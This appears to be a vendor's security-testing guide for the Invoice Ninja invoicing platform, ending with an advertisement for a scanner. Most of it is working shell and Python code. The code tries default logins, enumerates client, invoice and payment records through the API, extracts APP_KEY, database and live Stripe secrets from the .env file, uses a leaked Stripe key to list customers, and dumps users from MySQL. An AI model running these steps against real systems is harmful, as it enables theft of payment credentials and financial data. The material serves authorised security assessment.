Invoice Ninja Security Testing: Default Credentials, API Token, Database, and .env APP_KEY

Invoice Ninja is a widely deployed open-source invoicing, billing, and payment platform built on Laravel (PHP), used by freelancers, agencies, and businesses to manage client invoices, track payments, and process credit cards via Stripe, PayPal, and other payment gateways. It stores highly sensitive financial data. Key assessment areas: Invoice Ninja's .env file stores the Laravel APP_KEY (encryption key for client tax IDs and payment tokens), DB_PASSWORD (MySQL credentials), and live payment gateway API keys including STRIPE_SECRET; the REST API provides access to all client records, invoices, and payment history; Invoice Ninja's multi-company (multi-tenant) architecture separates data by company_id which must be validated as a real isolation boundary; and client-facing payment URLs may expose invoice data without strong authentication. This guide covers systematic Invoice Ninja security assessment.

Table of Contents

  1. Authentication and Default Credential Testing
  2. REST API Financial Data Enumeration
  3. .env Payment Gateway Credentials and APP_KEY
  4. Invoice Ninja Security Hardening

Authentication and Default Credential Testing

# Invoice Ninja — authentication and default credential testing
NINJA_URL="https://invoices.example.com"

# Invoice Ninja creates the first admin account during setup wizard
# No universal default — test common setup passwords and emails
curl -s -X POST "${NINJA_URL}/api/v1/login" \
  -H "Content-Type: application/json" \
  -H "X-Api-Secret: YOUR_API_SECRET" \
  -d '{"email":"admin@example.com","password":"admin","one_time_password":""}' \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',{})
if data.get('token'):
    print(f'AUTH TOKEN: {data[\"token\"]}')
    user = data.get('user',{})
    print(f'User: {user.get(\"first_name\")} {user.get(\"email\")} admin={user.get(\"is_owner\")}')
else:
    print(f'Failed: {d}')
" 2>/dev/null

# Check for API token in public routes (client portal)
# Invoice Ninja client portal uses a hash key for access — check if enumerable
curl -s -o /dev/null -w "%{http_code}" \
  "${NINJA_URL}/client/invoices" 2>/dev/null

# Test API with token
curl -s "${NINJA_URL}/api/v1/ping" \
  -H "X-Api-Token: YOUR_API_TOKEN" \
  -H "X-Api-Secret: YOUR_API_SECRET" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(json.dumps(d.get('data',{}), indent=2)[:300])
" 2>/dev/null

REST API Financial Data Enumeration

# Invoice Ninja REST API — client and financial data enumeration
NINJA_URL="https://invoices.example.com"
API_TOKEN="your-invoice-ninja-api-token"
API_SECRET="your-api-secret"

# Get all clients — customer records with financial data
curl -s "${NINJA_URL}/api/v1/clients?per_page=100" \
  -H "X-Api-Token: ${API_TOKEN}" \
  -H "X-Api-Secret: ${API_SECRET}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[])
meta = d.get('meta',{})
print(f'Clients: {meta.get(\"pagination\",{}).get(\"total\",len(data))}')
for c in data[:10]:
    print(f'  [{c.get(\"id\")}] {c.get(\"name\")} email={c.get(\"contacts\",[{}])[0].get(\"email\")} balance={c.get(\"balance\")} paid_to_date={c.get(\"paid_to_date\")} currency={c.get(\"currency_id\")}')
" 2>/dev/null

# Get all invoices — complete billing history
curl -s "${NINJA_URL}/api/v1/invoices?per_page=100&status_id=1,2,3,4" \
  -H "X-Api-Token: ${API_TOKEN}" \
  -H "X-Api-Secret: ${API_SECRET}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[])
print(f'Invoices: {len(data)}')
total = sum(float(i.get('amount',0) or 0) for i in data)
print(f'Total invoiced amount: {total:,.2f}')
for i in data[:10]:
    print(f'  #{i.get(\"number\")} client={i.get(\"client_id\")} amount={i.get(\"amount\")} status={i.get(\"status_id\")} due={i.get(\"due_date\")}')
" 2>/dev/null

# Get all payments — transaction records
curl -s "${NINJA_URL}/api/v1/payments?per_page=100" \
  -H "X-Api-Token: ${API_TOKEN}" \
  -H "X-Api-Secret: ${API_SECRET}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[])
print(f'Payments: {len(data)}')
for p in data[:10]:
    print(f'  [{p.get(\"date\")}] client={p.get(\"client_id\")} amount={p.get(\"amount\")} type={p.get(\"type_id\")} transaction_ref={p.get(\"transaction_reference\")}')
" 2>/dev/null

.env Payment Gateway Credentials and APP_KEY

# Invoice Ninja .env — payment gateway credentials and APP_KEY

# .env — all sensitive credentials
cat /var/www/html/invoiceninja/.env 2>/dev/null | \
  grep -E "APP_KEY|DB_PASSWORD|STRIPE_SECRET|PAYPAL_SECRET|MAIL_PASSWORD|DB_USERNAME|DB_DATABASE"
# APP_KEY=base64:xxxx — Laravel encryption key
# DB_PASSWORD — MySQL database password
# STRIPE_SECRET=sk_live_xxxx — LIVE Stripe secret API key (enables charge creation)
# PAYPAL_SECRET — PayPal API credentials

# STRIPE_SECRET — live key allows creating charges, listing customers, and refunding payments
STRIPE_KEY=$(grep STRIPE_SECRET /var/www/html/invoiceninja/.env 2>/dev/null | cut -d= -f2)
if [ -n "$STRIPE_KEY" ]; then
    curl -s "https://api.stripe.com/v1/customers?limit=10" \
      -u "${STRIPE_KEY}:" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
customers = d.get('data',[])
print(f'Stripe customers (via leaked key): {len(customers)}')
for c in customers[:5]:
    print(f'  {c.get(\"name\")} email={c.get(\"email\")} created={c.get(\"created\")}')
" 2>/dev/null
fi

# MySQL direct access — clients, invoices, and users
mysql -u ninja -p"DB_PASSWORD" ninja 2>/dev/null << 'EOF'
-- All user accounts
SELECT id, first_name, last_name, email, is_owner, account_id, created_at
FROM users WHERE deleted_at IS NULL
ORDER BY is_owner DESC, id
LIMIT 20;

-- Client financial summary
SELECT c.id, c.name, c.balance, c.paid_to_date, c.credit_balance
FROM clients c
WHERE c.deleted_at IS NULL
ORDER BY c.paid_to_date DESC
LIMIT 20;
EOF

Invoice Ninja Security Hardening

Invoice Ninja Security Hardening Checklist:
Security TestMethodRisk
.env STRIPE_SECRET live payment gateway key extractionRead .env STRIPE_SECRET — live Stripe secret key; enables listing all Stripe customers and payment methods, creating charges, and processing refunds directly via Stripe API without Invoice Ninja accessCritical
.env APP_KEY Laravel encryption key extractionRead .env APP_KEY — decrypts all Crypt::encrypt() fields including client tax IDs and stored gateway tokens; enables session cookie forgery for any Invoice Ninja userCritical
REST API client and invoice financial data enumerationGET /api/v1/clients — all clients with balances and payment history; GET /api/v1/invoices — all invoices; GET /api/v1/payments — all payment transactions with referencesCritical
Multi-company data isolation bypassAuthenticate as Company A, request /api/v1/clients using Company B resource IDs — if company_id filter is missing, cross-tenant financial data accessCritical (if present)
.env DB_PASSWORD MySQL credential extractionRead .env DB_PASSWORD — direct database access to all client, invoice, payment, and user records including password hashes and stored gateway tokensCritical

Automate Invoice Ninja Security Testing

Ironimo tests Invoice Ninja deployments for .env STRIPE_SECRET live payment gateway key extraction and abuse, APP_KEY Laravel encryption key exploitation, REST API client financial data enumeration including balances and payment history, multi-company data isolation bypass testing, client portal invitation key enumeration, DB_PASSWORD MySQL credential extraction, payment transaction record access, stored gateway token decryption feasibility, and API token scope assessment.

Start free scan